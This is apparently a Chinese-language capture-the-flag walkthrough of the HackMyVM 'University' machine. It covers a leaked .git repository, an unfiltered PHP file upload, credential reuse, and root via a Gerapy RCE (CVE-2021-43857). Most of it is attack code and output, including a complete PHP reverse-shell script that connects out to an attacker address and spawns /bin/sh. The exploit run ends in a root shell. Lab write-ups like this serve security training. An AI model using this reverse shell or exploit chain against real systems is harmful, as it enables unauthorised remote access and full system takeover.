[HMV] University

文章发布时间:

文章总字数:
2.6k

[HMV] University

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
nmap -sV -sC -v 192.168.1.28  

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 8e:ee:da:29:f1:ae:03:a5:c3:7e:45:84:c7:86:67:ce (RSA)
| 256 f8:1c:ef:96:7b:ae:74:21:6c:9f:06:9b:20:0a:d8:56 (ECDSA)
|_ 256 19:fc:94:32:41:9d:43:6f:52:c5:ba:5a:f0:83:b4:5b (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
| http-git:
| 192.168.1.28:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Remotes:
|_ https://github.com/rskoolrash/Online-Admission-System
| http-methods:
|_ Supported Methods: GET HEAD POST
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:50:7C:74 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80端口服务探测

查看80端口页面

使用dirsearch扫描目录,发现可能存在git泄露,使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
04:59:48] 301 -  169B  - /.git  ->  http://192.168.1.28/.git/
[04:59:48] 403 - 555B - /.git/
[04:59:48] 403 - 555B - /.git/branches/
[04:59:48] 200 - 278B - /.git/config
[04:59:48] 200 - 23B - /.git/HEAD
[04:59:48] 200 - 73B - /.git/description
[04:59:48] 403 - 555B - /.git/hooks/
[04:59:48] 200 - 11KB - /.git/index
[04:59:48] 403 - 555B - /.git/info/
[04:59:48] 200 - 240B - /.git/info/exclude
[04:59:48] 403 - 555B - /.git/logs/
[04:59:48] 200 - 195B - /.git/logs/HEAD
[04:59:48] 301 - 169B - /.git/logs/refs -> http://192.168.1.28/.git/logs/refs/
[04:59:48] 301 - 169B - /.git/logs/refs/heads -> http://192.168.1.28/.git/logs/refs/heads/
[04:59:48] 301 - 169B - /.git/logs/refs/remotes -> http://192.168.1.28/.git/logs/refs/remotes/
[04:59:48] 200 - 195B - /.git/logs/refs/heads/master
[04:59:48] 301 - 169B - /.git/logs/refs/remotes/origin -> http://192.168.1.28/.git/logs/refs/remotes/origin/
[04:59:48] 200 - 195B - /.git/logs/refs/remotes/origin/HEAD
[04:59:48] 200 - 114B - /.git/packed-refs
[04:59:48] 403 - 555B - /.git/objects/
[04:59:48] 403 - 555B - /.git/refs/
[04:59:48] 301 - 169B - /.git/refs/heads -> http://192.168.1.28/.git/refs/heads/
[04:59:48] 200 - 41B - /.git/refs/heads/master
[04:59:48] 301 - 169B - /.git/refs/remotes -> http://192.168.1.28/.git/refs/remotes/
[04:59:48] 301 - 169B - /.git/refs/remotes/origin -> http://192.168.1.28/.git/refs/remotes/origin/
[04:59:48] 200 - 32B - /.git/refs/remotes/origin/HEAD
[04:59:48] 301 - 169B - /.git/refs/tags -> http://192.168.1.28/.git/refs/tags/
[04:59:48] 200 - 378B - /.gitattributes
[04:59:48] 200 - 649B - /.gitignore
[04:59:50] 200 - 4KB - /admin.php
[04:59:52] 200 - 3KB - /adminlogin.php
[04:59:55] 301 - 169B - /css -> http://192.168.1.28/css/
[04:59:58] 403 - 555B - /images/
[04:59:58] 301 - 169B - /images -> http://192.168.1.28/images/
[05:00:00] 302 - 0B - /logout.php -> index.php
[05:00:00] 301 - 169B - /mail -> http://192.168.1.28/mail/
[05:00:00] 403 - 555B - /mail/
[05:00:01] 403 - 555B - /nbproject/
[05:00:01] 200 - 226B - /nbproject/private/private.xml
[05:00:01] 200 - 133B - /nbproject/project.properties
[05:00:01] 200 - 163B - /nbproject/private/private.properties
[05:00:01] 200 - 305B - /nbproject/project.xml
[05:00:04] 200 - 1KB - /README.md
[05:00:08] 200 - 8KB - /signup.php
[05:00:10] 200 - 0B - /status.php

使用githacker --url http://192.168.1.28/.git/ --output-folder ./result1来进行还原

查看结果找到这个项目clone的GitHub的地址

1
2
cat logs/HEAD                    
0000000000000000000000000000000000000000 0c2a3680479a1d5e3cd6f14760039fb5e894ab14 root <root@university.(none)> 1642502411 -0500 clone: from https://github.com/rskoolrash/Online-Admission-System

找到documents.php这个文件上传页面,访问浏览器也发现确实存在这个页面,具体的处理逻辑在fileupload.php

fileupload.php内容如下

发现没有做啥上传的过滤,这里也给出了上传的文件目录是studentpic,studentdocstudentproof这三个目录,判断语句中move_uploaded_file($_FILES['fpic']['tmp_name'],$picpath) &&说明几个文件都要一起上传才可以

直接访问文件目录显示403但是给出具体的上传的文件名是可以访问的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
session_start();
$sp=mysqli_connect("localhost","root","","oas");
if($sp->connect_errno){
echo "Error <br/>".$sp->error;
}

$picpath="studentpic/";
$docpath="studentdoc/";
$proofpath="studentproof/";
$id=$_SESSION['user'];
if(isset($_POST['fpicup']))
{
$picpath=$picpath.$_FILES['fpic']['name'];
$docpath1=$docpath.$_FILES['ftndoc']['name'];
$docpath2=$docpath.$_FILES['ftcdoc']['name'];
$docpath3=$docpath.$_FILES['fdmdoc']['name'];
$docpath4=$docpath.$_FILES['fdcdoc']['name'];
$proofpath1=$proofpath.$_FILES['fide']['name'];
$proofpath2=$proofpath.$_FILES['fsig']['name'];

if(move_uploaded_file($_FILES['fpic']['tmp_name'],$picpath)
&& move_uploaded_file($_FILES['ftndoc']['tmp_name'],$docpath1)
&& move_uploaded_file($_FILES['ftcdoc']['tmp_name'],$docpath2)
&& move_uploaded_file($_FILES['fdmdoc']['tmp_name'],$docpath3)
&& move_uploaded_file($_FILES['fdcdoc']['tmp_name'],$docpath4)
&& move_uploaded_file($_FILES['fide']['tmp_name'],$proofpath1)
&& move_uploaded_file($_FILES['fsig']['tmp_name'],$proofpath2))
{

$img=$_FILES['fpic']['name'];
$img1=$_FILES['ftndoc']['name'];
$img2=$_FILES['ftcdoc']['name'];
$img3=$_FILES['fdmdoc']['name'];
$img4=$_FILES['fdcdoc']['name'];
$img5=$_FILES['fide']['name'];
$img6=$_FILES['fsig']['name'];


$query="insert into t_userdoc (s_id,s_pic,s_tenmarkpic,s_tencerpic,
s_twdmarkpic, s_twdcerpic, s_idprfpic, s_sigpic) values
('$id','$img','$img1','$img2','$img3','$img4','$img5','$img6')";
if($sp->query($query)){
echo "Inserted to DB ";
}else
{
echo "Error <br/>".$sp->error;
}
}
else
{
echo "There is an error,please retry or ckeck path";
}
}
?>

这里准备了一个反弹shell的脚本,然后本地监听9007端口(也可以使用一句话木马执行命令)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = ''; // CHANGE THIS
$port = 9007; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");
umask(0);


$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>

上传文件,然后访问/studentpic/php_reverse_shell.php,拿到shell

凭证泄露

通过/etc/passwd找到sandra用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
sandra:x:1000:1000:sandra,,,:/home/sandra:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

/var/www/html目录下找到一个.sandra_secret的文件,感觉是ssh密码

尝试登录,拿到sandra的shell,在家目录下拿到user.txt

权限提升

发现只有gerapy可以无密码sudo执行

1
2
3
4
5
6
7
sandra@university:/tmp/gerapy/projects$ sudo -l
Matching Defaults entries for sandra on university:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sandra may run the following commands on university:
(root) NOPASSWD: /usr/local/bin/gerapy

gerapy是一个爬虫框架,详细的使用指南可以看这里

尝试搜索有没有现成的漏洞,找到一个rce漏洞

可以使用sudo /usr/local/bin/gerapy -v查看版本,发现正好就是0.9.6

直接运行给了一些命令提示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sudo /usr/local/bin/gerapy 
Usage: gerapy [-v] [-h] ...

Gerapy 0.9.6 - Distributed Crawler Management Framework

Optional arguments:
-v, --version Get version of Gerapy
-h, --help Show this help message and exit

Available commands:
init Init workspace, default to gerapy
initadmin Create default super user admin
runserver Start Gerapy server
migrate Migrate database
createsuperuser Create a custom superuser
makemigrations Generate migrations for database
generate Generate Scrapy code for configurable project
parse Parse project for debugging
loaddata Load data from configs
dumpdata Dump data to configs

这里启动服务

1
2
3
4
5
6
sudo /usr/local/bin/gerapy init
#会创建一个gerapy目录
cd gerapy/
sudo /usr/local/bin/gerapy migrate
sudo /usr/local/bin/gerapy initadmin #初始化一个amdin账户,密码也是admin
sudo /usr/local/bin/gerapy runserver 192.168.1.28:8080 #不带IP和端口,默认是在本地的127.0.0.1:8000

然后保存这个exp到本地

之后需要去gerapy中随便新建一个项目就可以

运行脚本获得root的shell,拿到root.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
python 50640.py -t 192.168.1.28 -p 8081 -L 192.168.1.42 -P 9087
______ _______ ____ ___ ____ _ _ _ _____ ___ ____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | | || ||___ / ( _ ) ___|___ |
| | \ \ / /| _| _____ __) | | | |__) | |_____| || |_ |_ \ / _ \___ \ / /
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____|__ _|__) | (_) |__) |/ /
\____| \_/ |_____| |_____|\___/_____|_| |_||____/ \___/____//_/


Exploit for CVE-2021-43857
For: Gerapy < 0.9.8
[*] Resolving URL...
[*] Logging in to application...
[*] Login successful! Proceeding...
[*] Getting the project list
[*] Found project: test
[*] Getting the ID of the project to build the URL
[*] Found ID of the project: 1
[*] Setting up a netcat listener
listening on [any] 9087 ...
[*] Executing reverse shell payload
[*] Watchout for shell! :)
connect to [192.168.1.42] from (UNKNOWN) [192.168.1.28] 52382
root@university:/tmp/gerapy# id
id
uid=0(root) gid=0(root) groups=0(root)
root@university:/tmp/gerapy#

总结

  1. 信息泄露 - git泄露,找到仓库,分析源码

  2. 文件上传漏洞

  3. 权限提升 : 框架漏洞利用